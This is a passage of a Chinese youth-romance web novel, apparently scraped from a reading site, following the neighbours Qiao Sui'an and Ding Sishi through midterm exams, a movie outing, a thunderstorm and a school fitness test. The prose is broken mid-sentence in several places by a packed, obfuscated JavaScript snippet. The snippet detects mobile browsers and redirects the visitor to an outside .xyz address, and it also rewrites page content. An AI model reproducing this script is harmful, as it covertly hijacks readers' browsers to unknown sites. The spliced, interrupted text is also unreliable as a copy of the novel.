在他开口之前,她主动道:“我是笨蛋。” 乔岁安变魔术似的,手腕一转,手掌摊开,两颗草莓味的糖在她掌上静静躺着。 “吃糖。” 丁斯时垂下眼皮,盯着糖没动,半晌,她手都快举累了,丁斯时才伸手接了过去,长指撕开包装袋,往嘴里一含,把包装袋丢进了体育馆楼梯边上的垃圾桶。 乔岁安喜笑颜开,屁颠屁颠跟着他去垃圾桶边上,对着他脸瞧瞧,好奇:“你怎么没戴眼镜啊?” “不上课可以不戴。”丁斯时顿顿,又补充道,“眼镜店老板说的。” “这样啊。”乔岁安非常遗憾,“那可是我亲自给你挑的哎。” 丁斯时立马低头,再度盯着她。 乔岁安眨眨眼:“?” 她感觉他好像有千言万语要跟她讲,可是事实上他什么也没说,唇角往下一抿像是在委屈,平静地移开了视线,从口袋里掏出了一包纸巾,那颗糖被他用舌尖抵了出来,包在纸巾里,被他和纸巾一起丢进了垃圾桶。 乔岁安茫然地目视着丁斯时离开的背影,心说:丁公主今天好难哄啊。 后两节课老师一直拖课,乔岁安上厕所倒水都来不及,更别提去二班哄人了。 而一放学,丁斯时又被学生会抓走了,只在桌上给她留了张字条,大致意思是让她自己回去,字迹落笔时锋利,透着一股冷淡感,她捏着字条默了默,直觉自己真的要完。 十月霜降,深秋来得快了些,踩过枯黄时一片吱呀响,风也跟着凉了下来,萧瑟地穿过街道。 没有丁斯时陪伴回家的路途寂寞又遥远。 乔岁安背着书包走上天桥,人来人往行人匆匆,她忽见天桥边坐着个老奶奶,穿了身红色旧衣,头发花白,双手抱膝,头埋在手臂间,孤独又沉静。 她身前用矮桌子摆了个小摊,桌角贴着付款码。蓝色毛巾包裹着几朵白色山茶,铁丝扎着花根,弯出一个小圆圈,圆圈里穿了根别针。花瓣用白色细绳笼在一起,风吹过时花香就这样散开来。 乔岁安走近了,桌上还立着一个牌子。 ——8元一朵。 学生会给新生开了场会,主要是讲一些平时的工作与任务。丁斯时因此比平时晚了一个多小时才回家。 他一边上楼梯一边拉开书包拉链,长指一勾,钥匙碰撞的声音哗啦响。 丁斯时挑出开家门那把,一个抬眼,愣了愣。 门把手上挂着个小袋子,里面放着一杯奶茶,全糖,珍珠,一本小册子,还有一个用小透明袋装起来的山茶花胸针。 他先是翻了翻小册子。 封面上是几个工整秀气的大字—— 保卫萝卜秘籍。 下面又加了个括折号—— “乔岁安独创,轻易不给别人的哦!!!” 楼道的廊灯暗下又亮起,橙黄色光线落在他头顶,额前碎发挡住些许眉毛,他垂下睫毛,在眼下打下小片阴影。 纸页摩擦的细碎声音轻轻响起,他捏着一角翻了页。 片刻后,丁斯时又拆开透明袋子,将山茶花胸针拿起来放在鼻翼前嗅了嗅,清香溢满鼻腔。 他从口袋里捞出手机,点开百度。 白色山茶花的花语是—— 理想中的爱。 他猜测乔岁安买时肯定没搜过花语,又觉得自己未免太好哄了些,但是他伸手轻轻抵住额头,叹了口气,哑然失笑,心想—— 笨蛋,就这样,他怎么对她生气啊? 乔岁安咬着笔杆子在房间坐立难安,几乎要给摊在面前的数学作业跪下。 乔妈敲了敲门,拿着碟水果进来,把盘子轻轻搁在桌上:“你今天怎么没去找斯时写作业啊?” “他有点事。”乔岁安心不在焉,盯着作业,余光又止不住向手机瞟过去。 其实她对自己送去的东西还是很有自信的。 乔岁安知道丁斯时在100关卡了挺久,45秒内消除一个大钱袋的额外任务实在磨人。 但是不巧,乔某她虽学业上毫无建树,但在游戏上,从奇迹暖暖到音游,从开心消消乐到和平精英,甚至连微信各类小游戏,无一不精通。哪怕没玩过的,上手一局基本上也能出手感。 谦虚点说,她就是游戏天才。 呵。 她出的保卫萝卜秘籍,不信拿不下丁斯时! 手机屏幕亮起,乔岁安下意识挺直了脊背。 微博提醒:“你关注的他/她发动态啦!” “……” 乔岁安塌下肩。 好么。 微博消息底下,紧接着跳出一则微信消息。 娇娇丁公主保持了他一贯的言简意赅:“带着作业过来。” 乔岁安立马连人带书包,再卷着水果盘子,50米冲刺去了隔壁。 乔妈只觉得疾风席面,下意识闭上眼,再睁开时,面前人已经消失了。 乔妈:“……” 丁斯时家门开着,乔岁安自觉换了拖鞋,关上门,端着水果盘子走进房间。 丁斯时人正坐在桌前,脊背靠着椅子,修长指间夹了支笔,在指尖来回转动,旋出一阵残影。 乔岁安一直觉得转笔很酷,追着丁斯时苦苦学习几年,一无所成。 她感觉自己的天赋点非常不平均,例如舞蹈、游戏是超越满分的叠满状态,又例如体育、转笔是降到负分的宛若失智状态。 ……大概是女娲在捏她时情绪不太稳定。 她再走近点,目光落在了他的胸前。 那处别了朵山茶花。 漂亮又纯净,和他的气质很搭。 乔岁安很高兴,心说:算哄好了吧?这波算哄好了吧? 然后,她听见丁斯时开了口:“中午没抽的英语单词,现在抽。” “……” 再见了您嘞! 就这样,在丁斯时的紧盯模式下,乔岁安终于慢慢从重点班的倒数爬到了中等的位置。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859095|175923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——一个安全且不会被拉到平行班的位置。 离期中考试还有两天,丁斯时给她整理了很多可能会考的题型、重要知识点,硬挤硬凑,愣是把所有都塞进了乔岁安的脑子里。 她趴在桌上,长发未挽披在肩上,窗外秋风一吹,她垂眼,看见一根头发飘飘荡荡落在了地上。 乔岁安摸了摸头顶,紧张兮兮跟丁斯时确认:“没秃吧?” “放心,没秃。”他扫了眼她那头乌黑茂密的长发,从手腕上撸下一根橡皮筋,朝她那边递了递。 “不扎。”乔岁安严肃拒绝了这根橡皮筋,“我昨天刚看过一篇文章,说是橡皮筋对头发有隐形危害。我的头发很脆弱,禁不起折腾了。” 他望着她那头又顺又直黑得跟泼墨似的头发,无语片刻,收回了橡皮筋,冷笑一声:“有本事明天上学,你也披着头发去。” “……” 不过是还没有实现披发自由,一披就会被老师请去办公室喝茶的高中生罢了。 离期中考试还有一天。 乔岁安突然开始紧张起来,满脑子乱想。 晚上11点钟,丁斯时刚洗完澡,踩着拖鞋,深蓝色毛巾顶在头上,湿漉漉的发梢露出来,水珠顺着脖颈往下滑。 他拉开房间门,就看见一个人幽幽坐在他的床上,穿着身粉色软绵绵的睡衣,长发披散,手里抱了一本数学书,听见门口的动静,立马蹭一下站起来望过来。 “……”丁斯时被吓了一跳,认清是那人是乔岁安之后才松了口气,紧接着又轻蹙起眉头,“你怎么在这里?不回去睡觉?” 乔岁安紧张兮兮地向他展示了数学书里头的页面:“函数,好难。” “……”丁斯时叹气,“你放心,才高一,不会给你考很难的,你在重点班,平时做的卷子难度都和平行班不一样,但期中考全年级一张卷子,出卷老师总得顾忌平行班的。” 他伸出两根手指,隔着睡衣布料推着她的肩往外走:“回去睡觉。” 人到门口时,乔岁安又猛的扭回头,额头险些磕上他的下巴:“万一我这次被踢出重点班了怎么办?” 丁斯时往后仰了仰身子,后退一步拉开了点距离,垂着眼,伸手将头上擦头发的毛巾扯下来,没看她。 “不会,你上次班级测验,数学第二十名,英语第十七名,而语文一直是你的强项。重点班一共三十五个人,只有倒数五名才会进入流动机制。” 他再叹气。 “你慌什么?” “假如。”乔岁安还是焦虑,她再强调了遍,抬起眼可怜兮兮看他,“假如我真的被踢出去了,你还会管我吗?” “大小姐。”丁斯时脊背倚在门框上,清瘦手指捏了捏眉间,语气愈发无奈,“我什么时候真的不管你?” “有!”乔岁安声音渐小,委屈地嘀咕,“你初三就有段时间一直不理我,看见我就跑,也不跟我一起回家。” 提起那段时间,他身子一僵,默了两秒,忍不住低低笑了声,才向她保证:“放心,只要你想,不会不管你的。” 乔岁安总算安心了,磨磨蹭蹭往外走。 “乔岁安。”身后那人突然叫她。 她回头。 向来稍微相熟点的朋友都会喊她“乔乔”,但丁斯时这人从来都是喊她全名。 从小到大,都是这样。 他站直了身子,微垂了睫毛,目光落在她身上,喉头轻轻滑动了一下,神色沉沉的看不清晰,嗓音也跟着低下去。 “下次别那么晚来我房间。” 他视线下陷,落在她那身粉色睡衣上。 “尤其是在洗完澡之后。” 8. 没良心 期中考前一晚,乔岁安翻来覆去,入睡失败。 后果就是,第二天,顶着两个偌大的黑眼圈双目无神踏进考场。 ……然后考英语听力时成功睡着。 成绩发下来之后,丁斯时对着她的试卷上听力计分上大大的0,默了片刻,侧过头又无声盯了她片刻,一时间不知道是无语更多点还是生气更多点:“你自己觉得应该吗?” 被盯的乔岁安低头绞手指。 丁斯时又道:“不仅睡着了,而且20道听力题,一道都没蒙对,我是不是还得夸夸你完美错开所有正确答案?” 乔岁安声音小小的:“运气不好啦。” “……”丁斯时深呼吸。 乔岁安偷偷抬起眼睛瞄他一眼,随后又垂下脑袋,声音依然小小的:“别生气啦。” “……” 英语卷子被哗啦一声合上,眼前人陷入了漫长的沉默,乔岁安低头望着自己搁在膝盖上的手指半晌,见他仍不出声,就再次悄悄抬起眼睛看他。 四目相对。 丁斯时不常戴眼镜,此刻睫毛轻垂,眼皮微耷,眼尾那条纹路像是被延长出去的眼线。 他盯着她有一会儿,冷不丁问了句:“周末有没有空?” 他的语气仍旧算不上好,比起刚才却温和些,乔岁安估摸着自己周末又得被某人支配着学习,悲戚地斟酌道:“有的吧。” 丁斯时左手插进兜里,将手机掏出来,指尖在屏幕上轻点了几下,将屏幕转向乔岁安。 屏幕中央是一块二维码,而二维码上头写着几行小字 ——《复仇者联盟5:康之王朝》,第五排六座、五排七座。 ——请使用自动取票机使用。 嗯? 嗯??? 乔岁安猛的抬起头诧异看他。 “你不是想看吗?”丁斯时没看她,低着眼,“考试考完了,一起去吧。” 乔岁安被狠狠感动,一把伸手挽住他脖子:“丁公主我真是太爱你了!!!” 他被猝不及防搂住,身子往前倾,下巴轻轻擦过她肩上的衣料,脖颈处她的几缕长发轻挠着掀起几丝痒意。 她来前大概是刚洗过头,长发散着,茉莉掺着玫瑰香的洗发水,和他家是同一款。 丁斯时身形一顿,手指微微蜷了蜷,片刻,伸手将她从自己身上扒拉开。 “都说了。”他唇角微抿,“这种话少说。” “那我委婉点。”乔岁安高兴地就差立马在他面前即兴来一段“好运来”舞蹈了,干脆唱了起来,“你是天你是光你是唯一的神话!” 丁斯时赶在下一句之前,及时捂住她的嘴。 “闭嘴吧你。”他并不接受她的示好,“你知不知道你唱歌跑调?” 乔岁安:“……” 一夜梦扰得丁斯时头疼,迷迷糊糊睁开眼时天已大亮,思绪还朦胧时亮光照在眼皮上,刺目又难受。秋秋隔着被子压在他腹部,重量不容小觑。 他坐起身,细细回想了下梦里的内容。 似乎是隔壁那位跟着化为人身的秋秋私奔了。 ……没良心。 丁斯时捏着秋秋的后颈把它丢下了床。 秋秋立即警觉,在半空中拐了个圈四肢落地,喵喵两声,冲他摇尾巴。 丁斯时没搭理它,大概是没休息好的缘故,右眼皮一直在跳,他伸手摸了摸右眼。 秋秋轻巧一跃,再次爬上了床,找到原先自己窝的地方,再次趴下来。 丁斯时掀开被子一角,精准蒙在秋秋脑袋上,下了床。 秋秋愤怒:“喵!” 丁斯时踩着拖鞋,人都快到房间门口了,手指搭在门把手上,顿顿,回头睨了眼被子里那团,起床后遗症后知后觉,连带着一夜是梦没睡好那份浮躁,他皮笑肉不笑回了秋秋一句:“喵。” 语毕,扭开门把手,转身就走。 高贵的猫猫被狠狠无视,于是狠狠emo了,丁斯时吃早饭时,秋秋一直拿爪子扒拉他裤脚。 乔岁安来时,丁斯时刚吃完早饭,坐在沙发上,脊背靠着身后的枕头,右眼皮持续发作,连同眼角都泛了红。 秋秋跳到丁斯时的膝头找存在感,收着猫爪挠他的裤子:“喵喵喵!喵喵喵!” “秋秋今天怎么那么闹腾?”乔岁安嘴里还叼了个包子,说话含糊不清,突然想起什么,从口袋里摸出手机,“话说我前两天下了个猫语翻译器,让我试试。” 丁斯时心不在焉地“嗯”了声,第六感突击神经,他头一回迷信,打开手机想要搜索——右眼跳是跳财还是跳灾? 今天的网不太好,浏览器加载出结果的那秒,猫语翻译器冰冷的机器女声给出了秋秋最准确的心声:“铲屎官为何那样?” 秋秋:“喵!” 猫语翻译器:“竟敢对高贵如本猫如此冷脸相待!” 丁斯时手指划了划屏幕。 ……哦,原来是跳灾。 他冷笑了一声,按灭了屏幕,垂眼望向仍然不死心地划拉他衣服的秋秋,冲乔岁安伸出手,“手机给我。” 乔岁安懵懵递过,就见丁斯时修长手指在屏幕上轻敲字,伴随着猫语翻译器一声“喵”,秋秋瞬间炸毛。 右眼跳灾。 这种感觉在丁斯时倚在奶茶店桌沿时格外浓烈。 他看着乔岁安拎过三杯奶茶,问:“为什么买三杯?” 乔岁安道:“因为余清也来看电影呀!” 丁斯时:“……” 乔岁安察觉到他情绪不对,扭过头:“怎么了?” 丁斯时抿唇,错开视线,站直了身子:“走了。” 乔岁安也没过于纠结,快乐拿出手机给余清发语音:“宝贝,我拿到奶茶啦,马上过去……丁斯时,你走慢点行不行?” 回复她的是丁公主清隽冷漠的背影。 乔岁安咬牙小跑跟上去。 你付电影票钱你高贵! 我忍! 《复仇者联盟5》上映得早,只是先前又是路演又是考试,乔岁安一直没来得及看。 影片在映已经进入尾声,正好避开了观影高峰期,影院里人不算很多,于是余清顺理成章抢到了和乔岁安连着的座位。 乔岁安抱着爆米花找到了座位,趁着灯光还没暗下来,她跟余清相隔一个扶手,给对方发消息。 云宝:“为什么我总感觉丁斯时看我的目光凉嗖嗖的?” 岁岁和碎碎:“他今天好像心情不是很好。” 云宝:“要么你哄哄?” 岁岁和碎碎:“可是我不知道他为什么生气呀。” 影厅里灯光暗下来,手机亮光一下非常明显,她划了划屏幕,合上手机,转着眼睛余光瞄向丁斯时。 昏暗光线下他的侧脸模糊不清,依稀能看见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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借着大荧幕的光,她看见他目光朝向正是身边什么都不知道的那位,眼底平添几分勾人的柔意,太过明显的眼神以发小的名义为借口凭着黑暗传达,像一汪春水泼在了地面上,于是春暖花开。 一瞬间,所有的事情都有了清晰的指向。 周一换教室,罗落抱着乔岁安哭:“呜呜呜乔乔我舍不得你。” “不至于不至于。”乔岁安拍拍她的背,安慰,“就在隔壁,我会经常回来的。” 丁斯时资料多,收拾起来也慢,把书包整理完时,乔岁安已经背着包包过来了跟前桌欢快地打了个招呼。 十一月的天突然降温,阳光都有些阴绵。她校服外套里头套了身深绿色的卫衣,袖口很长,刚好挡到她指根。 乔岁安坐在他椅子上,偏头看他收拾桌上的书本。 他把所有都放进书包里,抓着肩带往背上一担,顿顿,低眼看她:“手伸出来。” 乔岁安把袖口往上捋了捋,乖巧伸手。 几颗糖落在她掌心,糖纸五彩斑斓,乔岁安愣愣抬头看他,面前人单肩背着包,窗外阳光落进来为面前人的发丝镀了层金,连瞳孔都染上层金褐色。 乔岁安恍惚间觉得,面前这位长得确实有点意思。 丁斯时:“今天中午记得来一班背书。” 乔岁安:“……” 那份恍惚瞬间支离破碎。 9. 有点怕 普通班的课对于现在的乔岁安来说过于简单,老师讲课速度很慢,语速也平,一点没有重点班那种每一秒大脑都高速运转的紧绷感和急迫感,乔岁安坐在最后排,一手按着圆珠笔头,一手撑着脑袋。 窗外的天气并不好,黑云压着屋顶,阴绵小雨绵延不断,白噪音和台上平稳无波的讲解声混在一起,成了最佳的催眠曲。 她脑袋前后小幅度摇摆,昏昏欲睡。 眼前忽地闪过一道白光,跟幻觉似的,乔岁安一个前倾,在额头砸桌之前顺利醒来,迷迷糊糊望向窗外。 一道雷声劈天砸下,炸在耳朵边,引得大半人都跟着望向了窗外面。 乔岁安打了个哈欠,随后偷偷摸摸从包里拿出手机,在课桌底下给丁斯时发消息。 岁岁和碎碎:“看见窗外那道雷了吗?那是本人在渡劫!马上,本人就要原地成神了,尔等凡人,还有什么要跟本座说的吗?” 点击发送的那一秒,眼前突然陷入黑暗,教室停电的瞬间,不少同学发出惊呼,但都不如老师在台上那声咆哮响亮:“后排那个新转来的同学!为什么你的课桌底下在发光!给我交出来!” 乔岁安:“……” 最后是丁斯时去办公室做的担保。 丁公主长得好看,平时人又乖,成绩又好,深受老师们的喜爱,加上乔同学低眉顺眼一副“我知错了”的可怜样,老师心一软,以五百字检讨成交,换回了乔岁安的手机。 “胆子挺大。”出了办公室,丁斯时如此对乔岁安的行为进行评价。 乔岁安继续低眉顺眼。 教室里的灯还暗着,走廊上风云翻涌,雨珠顺着风击打进来,靠外的一边积了水。整个走廊都湿漉漉的。 广播带着回声循环播放:“请同学们不要惊慌,不要随意走动,安静坐在教室里,学校会马上启动备用电源。” 没用,胆小的躲在教室,胆大的已经出来观赏大雨了。雷声加码,不知是惊恐多一点,还是兴奋多一点。 他瞥了眼外面的天气,揪着乔岁安的衣角把人拽到走廊靠里的位置。 “赶紧回教室吧你。” 乔岁安点点头:“哦。” 丁斯时回到教室的时候,罗落和林时蛰正在抱住彼此瑟瑟发抖。 “会不会一道闪电下来,咱们学校就没了?” “呜呜呜我那身在二班的乔乔宝贝,也不知道她会不会害怕?” 丁斯时摸着黑找到自己座位,拉开椅子,动作一顿,垂着睫毛,冷不丁来了句:“她不怕。” 黑暗中突然有人开口,俩人都吓了一跳,眯缝着眼往声源处看去,再次吓一跳。 罗落:“?” 林时蛰:“?” 难得这位主动开口搭话,她们俩简直受宠若惊。 丁斯时语气淡淡的:“她小时候的梦想是当奥特曼。” 丁斯时小时候以为所有的小朋友都会怕打雷,因为每次天气恶劣时,幼儿园的小朋友都会露出惊恐的表情。 哦,包括他自己。 那天放了学,老天突发恶疾,所有的小朋友们都在教室里,一边等爸爸妈妈来接,一边听着雷声大哭。 老师哄了这个,那个又开始喊“妈妈”,哄了那个,这个就开始抽泣着喊“我害怕”,整个教室闹成一团,吵得要命。 他也害怕,可是男子汉大丈夫,他不能哭,于是装作冷静的样子跑到乔岁安身边,想要安慰她。 然后,他就看见了她那双比他还淡定的眼睛。 ……一定是装的。 丁斯时一直盯着她,乔岁安也回盯过来。 女孩子扎着高高的双马尾,额前留着刘海,一双眼睛瞳孔漆黑,亮晶晶的,眨巴眨巴。 盯了她片刻后,他抑制住嗓子里的颤抖,冷静道:“我不害怕。” 要是你害怕的话,可以抱抱我。 这句话还没说出口,乔岁安突然神秘兮兮凑到他耳边:“告诉你个秘密。” 丁斯时:“?” 乔岁安:“我要变身啦,这道雷是是我九九八十一难里最后一劫!” 丁斯时信以为真,B格装不下去了,睁大了眼睛:“那你究竟是谁?” 乔岁安微抬下巴,嗓音稚嫩:“奥特曼。” 丁斯时:“……” 半晌,他开口:“奥特曼不用经历九九八十一难才能变身的吧好像。” 乔岁安好奇发问:“那他需要什么?” 丁斯时:“正道的光。” 乔岁安:“……” “丁斯时。”背后有个人喊他名字,随着班里瞬间大亮时同学们的“卧槽”一片,他转过身,差点被那道照他脸上的强光闪瞎眼。 丁斯时下意识闭眼,往后仰了仰身子,后腰撞在桌沿,“砰”的一声响。 他轻轻“嘶”了声。 乔岁安被那一声吓一跳,忙调暗了手电筒,从他身上移开:“没事吧没事吧?” “没事。”丁斯时迎着光线把眼睛睁开条缝,望向她手里的光源,“……这什么?” 乔岁安无比骄傲:“正道的光!” “……”丁斯时失语半晌,“我的意思是,你来学校还随身携带手电筒?” “忘记什么时候放的了。”乔岁安小声说,“这不是正好派上用场吗,这个比手机亮多了。” 罗落见光立马抛弃林时蛰,扑上来:“乔乔,爱死你了!你是什么黑暗里的天使!” 乔岁安摸摸她的背:“不怕不怕。” 丁斯时揉了揉后腰,继续问:“那你怎么来我们班了?” 乔岁安一手握着手电筒,一手拍着罗落的背,眼睛却闻言望向他,亮晶晶的。 “怕你害怕呀。”她如此直白地说道。 罗落跟林时蛰瞬间扭头跟着望向他。 丁斯时立马反驳:“我不怕。” 乔岁安歪头:“可是你小时候怕呀。” 窗外又是一阵惊雷,轰隆响,其实并不吓人,像烟花炸在心上。 怕不怕好像也没那么重要了。 丁斯时望着她的眼睛,顿了片刻,垂眼哼笑了声,舔了下嘴唇,伸手将鼻梁上的黑边不规则眼镜取下来轻轻搁在桌上,又重新直视她的眼睛,脊背轻轻下压,离得近了些,语气放软:“好吧,有点怕,你会留下来陪我吗?” 没听过他这么讲话,仍然抱着乔岁安的罗落被惊到抓紧了她的衣服,瞪大了眼睛,头皮发麻。 乔岁安正好也不想回去,二班她只跟前桌熟一点,但前桌在班上有自己的好姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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雨刮器一直开着,刮不开暴雨洗礼,前面的路况模糊成零星色块,几乎看不清楚。出租车开得很慢,堵在红绿灯口,后面的鸣笛声不断。 司机在前面叹气,等红绿灯的间隙,跟他们搭话:“等接完你们这一单,我今天就回家了。这雨实在下太大了。” “你俩都是育德的学生啊?”司机通过后视镜在两个人脸上打转,话锋一转,“男女朋友?这么大雨,小伙子还送女朋友回家,挺硬啊!” 丁斯时顿了顿,没吱声,手捏着伞把手,指关节微微用力,指尖往掌心蜷了蜷。 乔岁安小声解释:“是邻居。” 雨下太大了,后头鸣笛声又吵,司机问:“什么?” 乔岁安鼓了鼓嘴,重新开了口:“是邻居。” 同一时间,丁斯时开了口:“她是我从小认识的。” 乔岁安一跟陌生人说话,音量下意识降低了,被丁斯时的嗓音完全盖过。 绿灯亮起。 司机慢吞吞往前挪,道:“哦,青梅竹马啊。” 丁斯时望向窗外,视线被雨水遮挡,他轻轻“嗯”了声,便把“男朋友”那句话轻易揭过。 10. 小趴菜 这场雨下了很久,直到半夜才停下。第二天上学时,马路还是湿漉漉的,沥青淋了水显出更深的黑色,泥混着草的味道蔓延开来,称不上难闻,也算不上清新。 明明阳光明媚,整个世界仍然充斥着潮湿感。 十一月份,雨后的风更冻人了,阳光也不暖和。踩地时枯黄咔嚓作响,整个世界像是提前进入冬季。 两扇门打开,乔岁安围着条浅粉色围巾,下半张脸被遮住,见到丁斯时,从袖口伸出两根手指往下扒拉了两下围巾,露出嘴巴,开口第一句话是:“你猜今天几度?” 丁斯时单肩背着包,冬装校服宽大,穿在身上松垮又随意,他从外套口袋里捞出一双毛绒手套丢给她。 乔岁安接过手套,愣了下:“这双今天我找半天都没找到,怎么在你那儿?” 丁斯时冷呵一声,关了门朝电梯口走:“这恐怕得问去年冬天的你。” “哎呀。”乔岁安给自己戴上手套,立马在后头跟上去,“我刚说什么来着?哦对,你猜今天几度?五到十度!” 他按下了电梯下行键,继续听她用抑扬顿挫的语气哀嚎:“现在才十一月份!天呐!这个冬天我得怎么过啊!” 面前“叮咚”一声响,电梯门打开,一个大妈穿了身喜气洋洋的袄子,手里挎着包,站在靠左的位置。乔岁安见有人,立即闭嘴,安静地进了电梯。 电梯下行至一楼,大妈先行离开。 沉默了有一会儿的乔岁安突然严肃道:“你说,这会不会是受寒流影响?” 丁斯时刚在一班上两天课,还没轮得到地理,便瞥她一眼:“一班地理上到这?” “你别这么看我。”乔岁安双手合十,搓了搓手套上的毛,无比骄傲,“虽然我在一班显得很烂,但在普通班,还是能勉强算上个学霸的。” “听力零鸭蛋。”他轻笑一声,开了口,“还有脸骄傲?” 乔岁安:“……” 在一班被虐成狗的乔同学在二班确实如鱼得水,像个学霸样子。 上午最后一节是数学,那些内容过于简单,昨天的作业压根不用丁斯时讲她都能轻松全对。 ……然后被丁公主压着做了一班的作业。 丁斯时每次拿作业时都会拿两张,特地给她带一张。 他真的,她哭死。 乔岁安撑着脑袋目不转睛盯着墙上的钟,离下课还有一分钟,离冲刺去食堂干饭还有一分钟,秒针转动,每一秒都抓心挠肺。 下课铃响起的那一秒,十二分警戒拉起,她一个火箭速站起身,雄赳赳,气昂昂迈出右脚打算奔赴食堂一楼的炸鸡腿。 ……然后被人拦了下来。 男生拿着练习册和一支笔,挡在她身前,轻声问:“乔岁安,我有道题不会,可以问一下你吗?” 下课铃打响不到十秒,教室里的人呼啦一下全没了。 “你自己可以先看看解题过程,如果还有不懂,吃完饭你再过来问问我。”乔岁安随手拿起桌上自己那本练习册递给他,语气也轻,可惜她的动作不轻,迅猛地扭头转了个方向,从教室后门开跑。 丁斯时人刚出一班教室,就被一阵风拽着衣袖飞。 他一边人在后面跟着飞,一边思索:这波可比她50米体测快多了。 到了一食堂门口,她慢了下来,扭头目光示意他:“我想要一个炸鸡腿和一份铁板猪排饭,你呢?” 丁斯时琢磨了一下她的意思:“我想吃铁板猪排饭。” 乔岁安很满意:“那你去排铁板猪排饭的队,我去买炸鸡腿。” 她松开他的衣袖,快乐冲向一窗口。 当丁斯时端着两盘铁板猪排饭找到位置坐下时,乔岁安双目无神空手而归。 他从桌边的餐厨柜里拿了两双筷子,摆在她那份午饭餐盘上,问:“卖完了?” “嗯。”乔岁安失魂落魄,“最后一个被排我前面的学姐买走了。但凡我再快两秒钟都不是这结果。” 丁斯时抿了下唇,解释道:“我今天出教室确实有点晚,主要是老师拖了……” 乔岁安打断他,恨恨道:“早知道就不该为刚才问我问题的那个男生停留步伐。” “……”丁斯时捏着筷子的手紧了紧,把剩下几个字吞入腹中,他咬了一口猪排,没看她,垂着眼皮,待这一口嚼差不多了,才语气凉凉道,“午饭前问题,损人不利己,没安好心,天打雷劈。” 她的气被“天打雷劈”四个字浇了个半,挠挠头:“天打雷劈倒也不至于。” 丁斯时提醒:“炸鸡腿。” “……”乔岁安表情瞬间严肃,“至于。” 顿了顿,她又补充发誓:“回去之后我是不会跟他讲题的。” ……然后回去的乔岁安再一次被人堵在了座位边上。 男生一手拿着两本练习册,一手握着笔,无比执着:“乔岁安同学,我还是不太会。” 怂包社恐乔岁安那句“不教”在喉咙里卡了半天,最后憋出一句小声的:“哪道?” 男生翻开练习册,点了点题目:“这道题。” 乔岁安目光随着他的手指望过去,眉头紧锁,思索半天,终于想到一个绝妙的守住誓言的办法。 “这道题。”她眉头舒展开来,“我抄隔壁班丁斯时的。” 男生:“……” 乔岁安再接再厉:“要不你问问他吧?” “……”男生脸涨得通红离开了。 …… 下午第一节体育课传来噩耗——体测800米和1000米。为了保证速度,一二班放在一块测,先是男生,后是女生。 乔岁安彻底笑不出来了,默默跟着队伍,从体育馆往操场上走,听取周围哀嚎声一片。 “怎么办啊?我跑步可烂了!” “我跑不动啊我真的跑不动!” 乔岁安木着脸在心里用力呸了一声。 现在一个个说的好,等跑的时候一个个都冲在前面。只有她一颗小趴菜,是真真切切实实在在的慢。 前桌从队伍前面慢下速来,落到乔岁安边上,问:“乔乔,你800米怎么样?” 乔岁安愁得要掉头发了:“我能跑五分钟,你说怎么样?” 前桌激动:“我也能跑五分钟。” 乔岁安大喜望外:“好姐妹!” 前桌握着她的手用力晃了晃:“有难同当!” 到操场集合后,先是热身运动,男生要比女生先跑,乔岁安趁老师不注意,悄悄从队伍里挪出来,跑到丁斯时边上,小声问:“丁斯时,你紧张吗?” 丁斯时:“……不紧张。” “真的?”她不信,伸手去抓他手腕,“让我摸摸你的脉搏。” 丁斯时猝不及防被圈了腕,停了热身,长衣袖口被人撸上去,冰凉的指尖落在温热脉搏上时他手指下意识蜷了蜷,像夏季的冰镇可乐,贴上皮肤的那一秒呲啦一声被拉开易拉罐,汽水爆炸。 乔岁安嘀咕:“果然骗我,你脉搏越跳越快。” “……” 丁斯时没吱声,撇过脸抽了手。 老师终于注意到了这边的情况:“那边那两个,干什么呢?打情骂俏呢?队伍排好!” 乔岁安不敢反驳,默默挪回了自己的位置继续热身。 丁公主的体育成绩无可指摘。他体育中考前那段时间1000米练得最狠,后来放了暑假,也有晨跑的习惯。 通常乔岁安和周公恋恋不舍say完拜拜的时候,他已经跑完晨跑,吃过早饭,洗完澡了。 开学之后,他倒是没再跑过,但体测拿个满分还是绰绰有余的。 从开跑到结束,他一直遥遥领先,结尾时没有冲刺,从头到尾都是匀速跑,但从未被人超越。 乔岁安站在终点线边上,手里拿了瓶水,等他。 丁斯时越过终点线,又朝前多迈几步,才缓缓停下来。 他喘着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859098|175923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气,一步步朝她走过来,呼出的热气凝为白雾,在半空中散开来。 他额上绑了根发带,浅蓝色条形的,风把他的发型吹得乱了些,几根随意横在发带上,被他随意往边上拨开。 